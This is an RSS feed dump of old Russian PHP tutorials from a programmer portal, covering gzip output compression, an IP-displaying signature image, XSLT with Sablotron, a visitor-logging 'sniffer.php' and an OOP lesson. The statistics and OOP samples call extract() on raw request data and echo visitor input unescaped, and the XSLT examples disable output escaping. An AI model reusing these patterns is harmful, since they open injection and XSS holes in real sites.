Shelek http://shelek.com портал программистов Cotonti ru Mon, 09 Mar 2026 15:31:28 +0300 Сжатие страниц на PHP
Одно "НО": Не ставьте уровень сжатия больше 3 - размер не уменьшится, а нагрузка на сервер - еще как.

Скрипт используется следующим образом:

<?

include('gzdoc.php');

?>

<HTML>

... the page ...

</HTML>

<?

gzdocout();

?>

gzdoc.php



** |

** |... the page ...

** |

** |

** -------------End of file-----------

*/

ob_start();

ob_implicit_flush(0);

function CheckCanGzip(){

global $HTTP_ACCEPT_ENCODING;

if (headers_sent() || connection_aborted()){

return 0;

}

if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";

if (strpos($HTTP_ACCEPT_ENCODING, 'gzip') !== false) return "gzip";

return 0;

}

/* $level = compression level 0-9, 0=none, 9=max */

function GzDocOut($level=3, $debug=0){

$ENCODING = CheckCanGzip();

if ($ENCODING){

print "\n\n";

$Contents = ob_get_contents();

ob_end_clean();

if ($debug){

$s = "Not compress

length: ".strlen($Contents)."; ";

$s .= "Compressed length: ".

strlen(gzcompress($Contents, $level)).

"";

$Contents .= $s;

}

header("Content-Encoding: $ENCODING");

print "\x1f\x8b\x08\x00\x00\x00\x00\x00";

$Size = strlen($Contents);

$Crc = crc32($Contents);

$Contents = gzcompress($Contents, $level);

$Contents = substr($Contents, 0, strlen($Contents) - 4);

print $Contents;

print pack('V', $Crc);

print pack('V', $Size);

exit;

}else{

ob_end_flush();

exit;

}

}

?>]]> Sat, 27 Apr 2013 19:18:23 +0300 Подпись или аватар на пхп ##########

Итак, Вы, возможно, хотите сделать подпись, в которой кроме вашего изображения и данных
будут ещё и данные из заголовка HTTP запроса, например ip, браузер, провайдер или ось
смотрящего сей баннер.
Сделать это достаточно просто. Для этого необходимо:
-хостинг с поддержкой PHP и .htaccess;
-своя картинка;
-прямые руки.
Для этого не потребуются (хотя и приветствуются) зание PHP и наличие мозга в черепной
коробке.

Своя картинка
#############

Рисуем картинку/лого/аватор. Только поаккуратнее, и оставляем свободное место для текста,
который будет выводить скрипт. Сохраняем в формате png под именем "img.png".

Скрипт
######

В файле с именем "logo.png" сохраняем нижеследующее:

<?php
Header("Content-type: image/png");
$string="Your IP is $REMOTE_ADDR";
$im = ImageCreateFromPng("img.png");
$c = ImageColorAllocate($im, 225, 225, 225);
ImageString($im,3,75,43, $string,$c);
ImagePng($im);
ImageDestroy($im);
?>

Теперь объясняю:

<?php

Начало скрипта;

Header("Content-type: image/png");

А это сам текст, который будет выводиться.
Сюда можно записаль любую переменную из хэдеров. В моём случае это $REMOTE_ADDR.

$im = ImageCreateFromPng("img.png");

Создаем картинку средствами PHP: img.png - ваша нарисованная картинка, узнали?

$c = ImageColorAllocate($im, 225, 225, 225);

Собственно, цвет. Три цифры - RGB. Красная, зеленая и синяя составляющии.

ImageString($im,3,75, 43, $string,$c);

обственно, пишем по картинке. Вторая переменная (3) - размер; третья (75) и
четвертая (43) - расстояние от левого верхнего угла по горизонтали и вертикали,
пятая ($string) - текст, шестая ($c) - цвет.

ImagePng($im);

Мы её выводим на экран.

ImageDestroy($im);

Ну теперь всё, уничтожаем, синтаксис требует =).

?>

Конец скрипта.

Хостинг
#######

Наилучшим результатом цена/качество из мною известных хостингов отличается
Фатал.ру[ http://www.fatal.ru ] (правда с регистрацией там сейчас вроде как - вообще никак, поэтому юзаем подобные хосты).
Зарегистриуйтесь, войдите по FTP, создайте папку (например logo) и залейте туда
два файла. Картинку и скрипт.
Теперь чтобы файлы с расширением png обрабатывались не как картинки, а как скрипты php, мы должны его настроить. Создаем файл blabla.txt и вписываете в него строку:
AddType application/x-httpd-php .png
Тоже заливаем его на сервер. Теперь переименовываем его в ".htaccess".
Он становится скрытым и больше не мешает.

Заключение
##########

Всё, скрипт готов. Можно размещать в качестве аваторов/подписей на форумах или
делать с ним то, для чего вы его делали.
Но тут у вас простор для творчества: скриптик этот может обрабатывать c*****s,
что поможет вам сделать что-то типа аваторки с бомбой, шнур которой будет уменьшаться или показывать текущее время. Короче думайте и творите!]]> Sat, 27 Apr 2013 19:18:04 +0300 Преобразование XML + XSLT с помощью Sablotron
Данный материал следует воспринимать как альтернативное введение в использование XSLT с Sablotron в PHP.

Термины XSL и XSLT близки друг к другу, и новичкам их можно считать синонимами. Подробности, в чём же различия, описаны в спецификации XSL Transformations W3C.

Все, кто интересовался возможностями XSLT, читал стандартный пример из мануала, либо примеры, приводимые в статьях, посвящённых XSLT, на разных сайтах. Работающий пример из этой же серии:

<?php

$xmlData = '<?xml version="1.0" encoding="Windows-1251"?>
<document>
<game>
<title>Railroad Tycoon II Platinum</title>
<genre>экономическая стратегия</genre>
<designer>PopTop software</designer>
<publisher>G.O.D. games</publisher>
<year>2001</year>
</game>
<game>
<title>Grand Prix 4</title>
<genre>автосимулятор</genre>
<designer>Geoff Crammond & Simergy</designer>
<publisher>Infogrames Entertainment</publisher>
<year>2002</year>
</game>
</document>';

$xslData = '<?xml version="1.0" encoding="windows-1251"?>
<!DOCTYPE xsl:stylesheet>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" encoding="Windows-1251"/>

<xsl:template match="/">
<xsl:apply-templates/>
</xsl:template>

<xsl:template match="document">
<html><head>
<title>Игры</title>
</head>
<body>
<h1>Игры</h1>
<table cellpadding="2" cellspacing="2" border="1">
<tr>
<td>Название</td>
<td>жанр</td>
<td>год</td>
<td>разработчик</td>
<td>издатель</td>
</tr>
<xsl:apply-templates select="game"/>
</table>
</body></html>
</xsl:template>

<xsl:template match="game">
<tr>
<td><b><xsl:value-of select="title"/></b></td>
<td><xsl:value-of select="genre"/></td>
<td><xsl:value-of select="year"/></td>
<td><xsl:value-of select="designer"/></td>
<td><xsl:value-of select="publisher"/></td>
</tr>
</xsl:template>

</xsl:stylesheet>';

$xh = xslt_create();

$arguments = array(
'/_xml' => $xmlData,
'/_xsl' => $xslData
);

$result = @xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments);


if ($result)
print ($result);
else {
print ("There was an error that occurred in the XSL transformation...\n");
print ("\tError number: " . xslt_errno($xh) . "\n");
print ("\tError string: " . xslt_error($xh) . "\n");
exit;
}

?>

Подобных примеров в Сети полно. Все они хорошо показывают, что XSL-трансформация в php работает, но после их прочтения остаётся неясным, зачем XSL нужен, скорее даже наоборот — почему XSL не нужен.

"Действительно", — подумает читатель, — "если данные лежат в базе, зачем городить огород, формируя сперва XML, а затем ещё преобразовывать через XSL? С тем же успехом это сделает класс HTML-шаблона."

После этого разочарованный программист напрочь теряет интерес к XSL и вешает на технологию ярлык "ненужная заумь".

Вам, уважаемые читатели, повезло найти такой замечательный сайт, как "php в деталях". Здесь вы прочитаете о том, что XSL может не только преобразовывать XML в HTML, но и то, как можно при помощи XSL облегчить работу с php-скриптами.

Начало работы

Приведённый выше пример, хоть и слишком прост, хорошо иллюстрирует, каким образом делается XSL-преобразование в php.

Чтобы этот код работал, нужно установить XSLT-процессор Sablotron. На виндовой машине это делается так:

1. положить iconv(-1.3).dll, expat.dll и sablot.dll в C:\windows\System (все файлы есть в стандартном дистрибутиве php)
2. открыть C:\windows\php.ini и в нём найти параметр extension_dir. Если значение параметра — "." или нечто вроде "./", исправить на, скажем, "f:\usr\local\php\extension" (или адрес директории, в которой у вас лежат/будут лежать расширения php). Теперь это будет директория расширений php.
3. положить в директорию расширений файл php_xslt.dll (это для php версии 4.2.x), либо php_sablot.dll (для версии 4.0.x)
4. в php.ini раскомментируйте строчку extension=php_xslt.dll (4.2.x) или extension=php_sablot.dll (4.0.x)

Теория

Использование XSLT позволяет отделить от php-скриптов работу по форматированию и представлению данных. Это не только уменьшение объёма кода, но и вынос большого количества логических конструкций (if, else, switch), а следовательно, облегчение работы по написанию и отладке программ. Смею утверждать, что тот, кто не пробовал работать с XSLT, не представляет себе, насколько php-кодирование облегчится.

Впрочем, не надо обольщаться: если у вас было несколько конструкций if ... else в php-скрипте, они, скорее всего, появятся в том же количестве в XSL-файле.

Теперь к примерам.

Вывод списков

Все усложнения, происходящие от необходимости выводить список в удобочитаемом виде, переносятся на плечи XSL. Пример #2. Список статей на сайте с подсветкой статьи, которую читают сейчас, чередование цвета в строках и нумерация списка.

XML:

<current-date>2002-05-30</current-date>

<list-article date="2002-10-03">Ловля ошибок в PHP</list-article>
<list-article date="2002-10-02">Живой проект и мёртвый журнал</list-article>
<list-article date="2002-06-03">Работа с MySQL. Часть 7. Деревья</list-article>
<list-article date="2002-05-30">Ручная сортировка в веб-интерфейсе</list-article>
<list-article date="2002-05-29">Как поладить дизайнеру с программистом</list-article>
<list-article date="2002-05-27">Relax this is PHP</list-article>

XSLT:

...
<table>
<xsl:apply-templates select="list-article"/>
</table>
...

<xsl:template match="list-article">
<tr>
<xsl:if test="position() mod 2 = 1">
<xsl:attribute name="bgcolor">#cccccc</xsl:attribute>
</xsl:if>
<td>
<xsl:value-of select="position()">
<a href=http://shelek.com/"/{@date}.htm"><xsl:value-of select="."/></a>
<xsl:if test="@date = .. /current-date">&nbsp;&lt;</xsl:if>
</td>
</tr>
</xsl:template>

Произвольная разметка

Переводя на XML сайт с текстами (как этот), естественно хотеть сделать собственную разметку статей. Например, в контейнером important выделять очень важные места и иметь возможность выделять их не обязательно жирным шрифтом, но, может быть, цветом, CSS-стилем. Или писать цитаты как <quote>текст цитаты<quote> и иметь возможность менять стиль их оформления вместе с дизайном сайта.

Медленно продвигаясь от самого простого первого примера, многие натыкаются на эту проблему и не могут найти решения. Ведь если выделить абзац в тег <para> и делать для него шаблон, на первый взгляд, существуют три способа вывода содержимого:

1. тег xsl:value-of выводит текст, но удаляет все теги в абзаце
2 .тег xsl:copy-of выводит копию всего содержимого (без возможности применять шаблоны к детям — внутренним тегам) и самого контейнера <para>...</para> (что не очень красиво в HTML).
3. наконец, xsl:apply-templates применит шаблоны к детям, но пропустит текст

Проблема кажется безвыходной, но решение есть. Я использую "магические" шаблоны, которые выводят и текст и теги в нём со всеми атрибутами и без изменений. Пример #3:

XML:

<text>
<para>Данный пример использует <strong>магические шаблоны</strong>
для разбора произвольной разметки. Это позволяет избежать таких жалоб:
</para>
<quote>Люди, памажите сами мы не местные! Не могу вывести теги в тексте
при помощи value-of!
</quote>
<hr/>
<strong>Запомните эти шаблоны раз и навсегда!</strong>
<para>Тогда вы сможете обрабатывать <u>любой</u> <a href=http://shelek.com/"http://www.txt.ru">текст</a>
Почти любой.
</para>
</text>

XSLT:

<xsl:template match="text"><xsl:apply-templates/></xsl:template>

<xsl:template match="strong">
<font color="#cc0000"><b><xsl:apply-templates/></b></font>
</xsl:template>

<!-- три магических шаблона -->
<!-- 1. общий -->
<xsl:template match="*">
<xsl:copy>
<xsl:apply-templates select="@*" />
<xsl:apply-templates/>
</xsl:copy>
</xsl:template>

<!-- 2. для текста -->
<xsl:template match="text()">
<xsl:value-of select="." disable-output-escaping="yes"/>
</xsl:template>

<!-- 3. для тегов и аттрибутов -->
<xsl:template match="@*|node()">
<xsl:copy>
<xsl:apply-templates select="@*|node()"/>
</xsl:copy>
</xsl:template>

Первым делом XSLT-процессор при вызове инструкции apply-templates ищет шаблон для каждого элемента. Для элемента strong шаблон есть, и именно в соответствии с ним такие элементы будут обработаны. Для гиперссылки шаблона нет, поэтому она будет выведена, как есть. Можно добавить в XSL шаблон и для ссылки, который бы выводил рядом с каждой текстовой ссылкой картинку для открытия её в новом окне:

<xsl:template match="a[@href]">
<xsl:copy-of select="."/> <a href=http://shelek.com/"{@href}"
target="_blank"><img src=http://shelek.com/"/window.gif" width="15" height="15"
alt="открыть в новом окне"/></a>
</xsl:template>

* в шаблоне использован параметр match="a[@href]" — этот шаблон будет применён только к тем тегам ссылок, в которых есть поле href и пропустит якоря (<a name="xxx"></a>).

Невалидный код и

Кажущаяся необходимость писать валидный XML-код так же отпугивает многих неофитов XSLT. Хорошо, с завтрашнего дня будем писать статьи только валидно, благо дома можно проверить, нет ли в тексте XML-ошибки — mismatched tag или invalid token, — с этим как-нибудь справимся. Но ведь, по-хорошему, нужно и весь архив перевести в валидный код! И я так тоже думал, когда появилась возможность переделывать сайт на XML.

Решение проблемы довольно простое: не хочешь — не пиши валидно. Пиши, как привык, — без кавычек в атрибутах тегов, используй простой <br> и прочее. Достаточно заключить текст в контейнер <![CDATA[ ... ]]> (пример ниже).

Что касается &nbsp;, то здесь дела такие: элемента nbsp в XML нет. Есть lt, gt, quot, но не nbsp (вполне логично — это ведь non-braking space, который относится к форматированию и придуман для HTML). Поэтому его нужно объявить в документе, либо использовать только внутри <![CDATA[...]]>.

Пример #4:

XML:

<text>
<bad-markup><![CDATA[В этом <a href=http://detail.phpclub.net>тексте</a> применена
невалидная разметка. <br> И ничего страшного.]]></bad-markup>
<quote>Люди, памажите, сами мы не местные!</quote>
<hr/>
<strong>Запомните и эти шаблоны тоже!</strong>
</text>

XSLT:

<xsl:template match="text"><![CDATA[ >>> и в XSL можно делать то же самое! <<< ]]>
<xsl:apply-templates/></xsl:template>

<xsl:template match="bad-markup">
<xsl:value-of select="." disable-output-escaping="yes"/>
</xsl:template>

<xsl:template match="*">
<xsl:copy>
<xsl:apply-templates select="@*" />
<xsl:apply-templates/>
</xsl:copy>
</xsl:template>

<xsl:template match="text()">
<xsl:value-of select="." disable-output-escaping="yes"/>
</xsl:template>

<xsl:template match="@*|node()">
<xsl:copy>
<xsl:apply-templates select="@*|node()"/>
</xsl:copy>
</xsl:template>

Очень удобно! Большие изменения в архив вносить не придётся. Можно начать писать валидно, а продолжать как попало. А можно комбинировать эти два подхода. Чтобы не писать в архивные файлы тег CDATA, я сделал простое преобразование при помощи регулярных выражений (важно так же помнить, что один тег CDATA не должен содержать в себе другой).

$doc = preg_replace("~<(p|h[1-3]|pre)>(.*?)</\\1>~", "<\\1>\\2</\\1>", $doc);

Циклы

Допустим, нам нужно сделать форму для редактирования статьи, в том числе её даты. Для удобства пользования надо сделать три раскрывающихся списка (далее — "крутилки") — дата от 1 до 31, месяц, год. Первое решение, которое приходит в голову — сделать HTML-код крутилок в php, вставить в XML в контейнере CDATA, а затем вывести в XSL с параметром disable-output-escaping="yes".

На самом деле, XSLT может и это. Достаточно вставить в данные XML число, номер месяца и год. Крутилки можно нарисовать сразу в XSLT.

Напишем шаблон, не предназначенный ни для какого элемента документа. Он будет вызываться командой xsl:call-template и получать два параметра: значение счётчика и максимум. Сперва он будет выводить нужные нам данные со значением счётчика, затем вызывать самого себя с параметрами максимум и счётчик, увеличенный на 1. Пример #5:

XML:

<month-name>Февраль</month-name>
<month-name>Март</month-name>
<month-name>Апрель</month-name>
<month-name>Май</month-name>
<month-name>Июнь</month-name>
<month-name>Июль</month-name>
<month-name>Август</month-name>
<month-name>Сентябрь</month-name>
<month-name>Октябрь</month-name>
<month-name>Ноябрь</month-name>
<month-name>Декабрь</month-name>

<article>
...
<day>7</day>
<month>10</month>
<year>2002</year>
</article>

XSLT:

<xsl:template match="article">
...
<select name="d">
<xsl:call-template name="day">
<xsl:with-param name="count">1</xsl:with-param>
</xsl:call-template>
</select>
<select name="m">
<xsl:call-template name="month">
<xsl:with-param name="count">1</xsl:with-param>
</xsl:call-template>
</select>
...
</xsl:template>

<xsl:template name="day">
<xsl:param name="count"/>
<option value="{$count}">
<xsl:if test="$count = //artcile/day">
<xsl:attribute name="selected">yes</xsl:attribute>
<xsl:if>
<xsl:value-of select="$count"/>
</option>
<xsl:if test="$count &lt; 31">
<xsl:call-template name="day">
<xsl:with-param name="count">
<xsl:value-of select="$count + 1"/>
</xsl:with-param>
</xsl:call-template>
</xsl:if>
</xsl:template>

<xsl:template name="month">
<xsl:param name="count"/>
<option value="{$count}">
<xsl:if test="$count = //artcile/month">
<xsl:attribute name="selected">yes</xsl:attribute>
<xsl:if>
<xsl:value-of select="//month-name[position() = $count]"/>
</option>
<xsl:if test="$count &lt; 12">
<xsl:call-template name="month">
<xsl:with-param name="count">
<xsl:value-of select="$count + 1"/>
</xsl:with-param>
</xsl:call-template>
</xsl:if>
</xsl:template>

Оставляю вам в качестве домашнего задания шаблон для вывода крутилки с годом.

Резюме

Как видите, многое из того, что пишется в php-скриптах, даже при использовании класса шаблона, можно успешно спустить в XSLT. Но стОит ли заниматься этим?

Ответ зависит от условий работы в вашем проекте. Второй момент — технологичность работы.

Допустим, я захочу сделать на этом сайте меню быстрой навигации — раскрывающийся список со всеми статьями, — чтобы пользователь мог выбрать статью из списка и сразу перейти к ней. Ещё я захочу оставить список последних материалов (сейчас он находится справа вверху).

Если делать это при помощи класса шаблона типа FastTemplate, нужно два специальных блока и дополнительный код в php, который бы объявлял в шаблоне блок для списка всех статей и отдельно блок для списка 10 последних. Аналогичные действия необходимы в таком случае и при работе без класса шаблона. При работе с XML достаточно всего лишь одного набора данных "Дата => Статья", из которого в XSL-документе строятся и листбокс быстрого перехода, и список последних статей.

А если вдруг понадобится неважно для чего сделать другое оформление сайта (например, версия для WAP, или просто редизайн), в котором будет решено отказаться от списка 10 последних материалов. В случае первых двух технологий — класс шаблона и смешанный код — нужно будет убрать часть php кода, в случае XSLT изменения коснутся только XSL-файла. Такой процесс более технологичен, поскольку невозможно сделать новые ошибки в php-скриптах (а теперь представьте обратный случай — списка 10 последних статей не было, но его решили добавить!).

Итак, выбор остаётся за вами, а я как мог привёл сильные стороны технологии и доводы в пользу использования XML в проектах.]]> Sat, 27 Apr 2013 19:17:40 +0300 Сбор статистики на PHP
Для того, что бы система работала, нужно скрипт статистики встроить в каждую страницу. Ну или в те страницы, статистику посещений которых вы хотите увидеть. Наш скрипт будет записывать следующие данные:

* Браузер + OC (HTTP_USER_AGENT)
* IP адрес (REMOTE_ADDR)
* Хост (REMOTE_HOST)
* Страницу-рефферер (HTTP_REFERER)
* Время визита (date("d.m.Y H:i:s"))
* Запрашиваемый адрес (REQUEST_URI)


Даже эти данные, я думаю, будут весьма интересны веб-мастерам. Итак, начнем. Скрипт будет называться sniffer.php. Я приведу текст всего скрипта и дополню это обильными комментариями:

<?php

//sniffer.php

//защита от непосредственного запуска

//скрипта кем то посторонним

if (eregi("sniffer.php",$PHP_SELF)) {

Header("Location: index.php");

die();

}

extract($HTTP_GET_VARS);

extract($HTTP_POST_VARS);

extract($HTTP_COOKIE_VARS);

extract($HTTP_SERVER_VARS);

//этот фрагмент кода был позаимствован

//из системы PHP Nuke ;)

//далее объявляю переменные

$fileName="stat.txt"; //имя файла со статистикой

$maxVisitors=30; //количество записей, отображаемых

//при просмотре статистики

$cookieName="visitorOfMySite"; //имя куки

$cookieValue="1"; //значение куки

$timeLimit=86400; //срок в секундах, который должен

//пройти с момента последнего посещения сайта, что бы

//информация о посетителе записалась повторно. Это

//значение равно 1 дню, т.е. один и тот же посетитель

//записывается в статистику раз в одни сутки. Если

//эту переменную приравнять к нулю, то будут учитываться

//все посещения одного и того же посетителя

//далее следуют переменные, отвечающие за отображение

//статистики

$headerColor="#808080";

$headerFontColor="#FFFFFF";

$fontFace="Arial, Times New Roman, Verdana";

$fontSize="1";

$tableColor="#000000";

$rowColor="#CECECE";

$fontColor="#0000A0";

$textFontColor="#000000";

//все переменные подготовлены.

//Функция записи данных о посетителе

function saveUserData() {

GLOBAL $fileName, $HTTP_USER_AGENT, $REMOTE_ADDR, $REMOTE_HOST,

$HTTP_REFERER, $REQUES_URI;

$curTime=date("d.m.Y @ H:i:s"); //текущее время и дата

//подготавливаю данные для записи

if (empty($HTTP_USER_AGENT)) {$HTTP_USER_AGENT = "Unkwnown";}

if (empty($REMOTE_ADDR)) {$REMOTE_ADDR = "Not Resolved";}

if (empty($REMOTE_HOST)) {$REMOTE_HOST = "Unknown";}

if (empty($HTTP_REFERER)) {$HTTP_REFERER = "No Referer";}

if (empty($REQUEST_URI)) {$REQUEST_URI = "Unknown";}

$data_ = $HTTP_USER_AGENT."::".$REMOTE_ADDR."::".$REMOTE_HOST."::

".$HTTP_REFERER."::".$REQUEST_URI."::".$curTime."\r\n";

//разделителем будут два ":"

//далее пишу в файл

if (is_writeable($fileName) ) :

$fp = fopen($fileName, "a");

fputs ($fp, $data_);

fclose ($fp);

endif;

}

//функция записи готова. Теперь нужно написать

//функцию вывода данных из файла статистики

function showStat () {

GLOBAL $headerColor, $headerFontColor, $fontFace, $fontSize, $tableColor,

$fileName, $maxVisitors, $rowColor, $fontColor, $textFontColor;

//вывожу таблицу

$fbase=file($fileName);

$fbase = array_reverse($fbase);

$count = sizeOf($fbase);

echo "<font face=\"$fontFace\" color=\"$textFontColor\" size=\"$fontSize\">";

echo "Всего посещений: $count<br><br>";

echo "<div align=\"center\">

<table cellpadding=\"2\" cellspacing=\"1\" width=\"95%\"

border=\"0\" bgcolor=\"$tableColor\">";

echo "<tr bgcolor=\"$headerColor\"><td><

font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">Браузер

</font>

</td><td><font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">IP</font></td>

<td><font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">Хост</font></td>

<td><font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">Ссылка</font></td>

<td><font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">Страница</font></td>

<td><font face=\"$fontFace\" color=\"$headerFontColor\"

size=\"$fontSize\">Время визита</font></td></tr>";

echo "</font><font face=\"$fontFace\" size=\"$fontSize\">";

//открываю файл и запускаю цикл

$fbase=file($fileName);

$fbase = array_reverse($fbase);

for ($i=0; $i<$maxVisitors; $i++) :

if ($i>= sizeof($fbase)) {break;}

$s = $fbase[$i];

//разделяю

$strr = explode("::", $s);

if (empty($strr)) {break;}

//вывожу данные

echo "<tr><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[0]</font>

</td><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[1]</font>

</td><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[2]</font>

</td><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[3]</font>

</td><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[4]</font>

</td><td bgcolor=\"$rowColor\"><

font face=\"$fontFace\" color=\"$fontColor\"

size=\"$fontSize\">$strr[5]</font></td>

</tr>";

endfor;

}

?>

Скрипт сбора и показа статистики готов. Теперь нужно вставить в те страницы, информацию о посетителях которой вы хотите просмотреть:

<?php

include("sniffer.php");

if (! isset($$cookieName)) :

//установить куки

setcookie($cookieName, $cookieValue, time()+$timeLimit);

saveUserData();

endif;

?>

Здрасьте! А мона вас посчитать? Можно? Ну спасибо! Я вас посчитал! ;)

Обратите внимание, что этот код нужно вставлять в самый верх страницы, до того, как данные будут передаваться в браузер. В противном случае установить куки не получится. Далее сделаем страницу, выводящюю статистику:

<html><body>

<?php include("sniffer.php"); ?>

Статистика<br>

<?php

showStat();

?></body></html></i>

Здесь мы просто включили файл sniffer.php и вызвали из него функцию showStat() Вот с помощью такого небольшого скрипта, длинной всего ровно в 100 строк, можно с помощью PHP получить и в удобном виде просмотреть. Здесь ещё много чего предстоит сделать, например сделать статистику по реферерам, браузерам... Так же можно из HTTP_USER_AGENT вытащить браузер и ОС и записать их в более удобном виде. Кстати, все размеры при выводе статистики я расчитывал при разрешении 1024*768 и у меня все удобно помещается в одну строку.]]> Sat, 27 Apr 2013 19:17:19 +0300 Классы и объекты в РНР со Штирлицом и Мюллером
Мы раскроем нашу тему на примере небольшого скрипта, который называется "Штирлиц и Мюллер". У Штирлица и Мюллера на двоих имеется 0.7 литра шнапса и 0.5 литра водки. Но Мюллер является немецким офицером и может пить только шнапс, тогда как Штирлиц помимо того, что он немецкий офицер, одновременно ещё и является советским разведчиком майором Исаевым, поэтому способен пить не только шнапс, но и водку. С каждым нажатием кнопки один из них выпивает 100 грамм того или иного напитка. А теперь зайдите сюда и сделайте так, чтобы из имеющихся 1.2 литра спиртного Штирлиц выпил как минимум 0.9 литра. Но не забывайте и про Мюллера.

А теперь посмотрим как работает этот скрипт.
Вот его основной код:

<?
заголовок();

$Мюллер = new Немецкий_Офицер;
$Штирлиц = new Советский_Разведчик;

$Мюллер->имя = "Мюллер";
$Штирлиц->имя = "Штирлиц";
$Штирлиц->настоящее_имя = "майор Исаев";

extract($_POST);
статистика();

if($Желание_Мюллера =='Хочу шнапса!') {
$Мюллер->Выпить_Шнапса($Шнапс);
$Мюллер->Самочувствие();
}
if($Желание_Штирлица =='Хочу шнапса!') {
$Штирлиц->Выпить_Шнапса($Шнапс);
$Штирлиц->Самочувствие();
}
if($Желание_Штирлица =='Хочу водки!') {
$Штирлиц->Выпить_Водки($Водка);
$Штирлиц->Самочувствие();
}

$Выпитое_Горючее = $Мюллер->Выпитый_Шнапс."|".$Штирлиц->Выпитый_Шнапс."|".$Штирлиц->Выпитая_Водка;

$Мюллер->Желания();
$Штирлиц->Желания();

выпитое($Штирлиц,$Мюллер);
запасы($Шнапс, $Водка);

окончание();

exit;

Одна из прелестей PHP в том, что код можно писать не только на английском, но и на многих других языках, в том числе и на русском, что вы и видите в данном примере. ( Имена переменных, функций, классов, объектов и т.д. в PHP могут состоять не только из латинских букв, но также могут содержать знак подчеркивания _, цифры (но не должны начинаться с цифр) и любие символы из расширенного набора ASCII ( ASCII-коды от 127 до 255 (0x7f-0xff) ), куда входят и хорошо нам знакомые значки кириллицы )

Итак, начнём с начала. <? - это начало любого PHP-кода, а ?> - его конец. Всё, что находится между этими значками, сервер обрабатывает как программу на PHP, а все что за ними - как простой HTML.

Далее идёт функция заголовок().

Функция - это то же, что процедура или подпрограмма - кусок кода, который выполняет какое-то действие. Функции используются для того, чтобы не писать один и тот же код несколько раз, а, написав его единожды, вызывать его потом сколько угодно раз всего одним словом - названием функции.

В этом скрипте несколько функций:

<?
заголовок();

extract($_POST);
статистика();

$Мюллер->Выпить_Шнапса($Шнапс);
$Мюллер->Самочувствие();
$Штирлиц->Выпить_Шнапса($Шнапс);
$Штирлиц->Самочувствие();
$Штирлиц->Выпить_Водки($Водка);
$Мюллер->Желания();
$Штирлиц->Желания();

выпитое($Штирлиц,$Мюллер);
запасы($Шнапс, $Водка);

окончание();

Одна из них - встроенная ( это - extract() ), а остальные - написанные пользователем (User-defined functions).
Встроенные функции написаны на Си и находятся в самом коде PHP, подробное описание каждой из них вы можете прочитать в PHP Manual. А для того чтобы заработали user-defined функции их надо сначала описать (обычно в конце программы или в отдельном файле). Делается это так:

function заголовок() {
echo "<HTML><HEAD><TITLE>Штирлиц и Мюллер</TITLE><meta content=\"text/html ; CHARSET=windows-1251\" http-equiv=\"Content-Type\"></HEAD><BODY>";
}

echo - это встроенная функция. Она выводит текст который стоит после неё в кавычках. Если в самом выводимом тексте есть кавычки то перед каждой из них надо кинуть вот такую палочку - \

Функция заголовок() выводит на экран HTML-заголовки - название страницы и мета-таг указывающий кодировку. Кстати, если вы видите на русскоязычных страницах непонятную абракадабру вместо великого и могучего, и вам приходится самостоятельно выставлять кодировку в браузере - это означает, что вебмастер забыл вставить именно этот мета-таг. Не повторяйте чужих ошибок и всегда помните об этом, когда пишете русскоязычные страницы.

А вот теперь мы и подошли к самому интересному, к нашей основной теме "Классы и Объекты".
Если перевести этот код

$Мюллер = new Немецкий_Офицер;
$Штирлиц = new Советский_Разведчик;

с программного языка на человеческий, то он будет означать следующее:

$Мюллер - новый объект класса Немецкий_Офицер
$Штирлиц - новый объект класса Советский_Разведчик

Класс - это описание возможностей (набора функций) и переменных, которыми обладает любой объект данного класса. Польза та же, что и от функций - не нужно писать много раз одно и то же. А следовательно увеличивается скорость написания программ, облегчается понимание того, как они работают, и где могут крыться ошибки. Описав класс один раз, можно создавать сколько угодно объектов этого класса и все они будут обладать одинаковыми возможностями. Так что мы с легкостью можем написать, к примеру

$Борман = new Немецкий_Офицер;
$Шелленберг = new Немецкий_Офицер;
$Радистка_Кэт = new Советский_Разведчик;

Итак, мы установили, что класс - это не что иное, как набор функций и переменных, с которыми работают эти функции. Как и функции, классы обычно описываются в конце программы или в отдельном файле.

Посмотрим, какими же функциями обладает каждый Немецкий_Офицер:

class Немецкий_Офицер {

function Немецкий_Офицер () {
$this->Острая_Необходимость = "Хочу шнапса!";
}

function Желания() {
global $Шнапс, $Водка, $Выпитое_Горючее;
echo "Я - ".$this->имя.".
<FORM METHOD=POST>
<INPUT TYPE=hidden name=Шнапс value=$Шнапс>
<INPUT TYPE=hidden name=Водка value=$Водка>
<INPUT TYPE=hidden name=Выпитое_Горючее value='$Выпитое_Горючее'>
<INPUT TYPE=submit name=Желание_".$this->имя."а value='".$this->Острая_Необходимость."'>
</FORM><BR>";
}

function Выпить_Шнапса($Шнапс) {
global $Шнапс;
if($Шнапс != 0) {
$Шнапс=$Шнапс - 0.1;
$this->Выпитый_Шнапс = $this->Выпитый_Шнапс + 0.1;
echo $this->имя." только что выпил 100 грамм шнапса.<BR>Шнапса осталось $Шнапс литра.<BR>";
} else {
echo "Шнапс кончился.<BR>";
}
}
function Самочувствие() {
if($this->Выпитый_Шнапс + $this->Выпитая_Водка > 0.8) {
echo $this->имя." выпил ".$this->Выпитый_Шнапс." литра шнапса и ".$this->Выпитая_Водка." литра водки.<BR>";
echo $this->имя." склонился над картой Советского Союза.<BR>";
echo "Его неудержимо рвёт на Родину.<BR>";
окончание();
exit;
} elseif($this->Выпитый_Шнапс or $this->Выпитая_Водка) {
echo $this->имя."у хорошо. Но он хочет ещё.<BR><BR>";
}
}
}

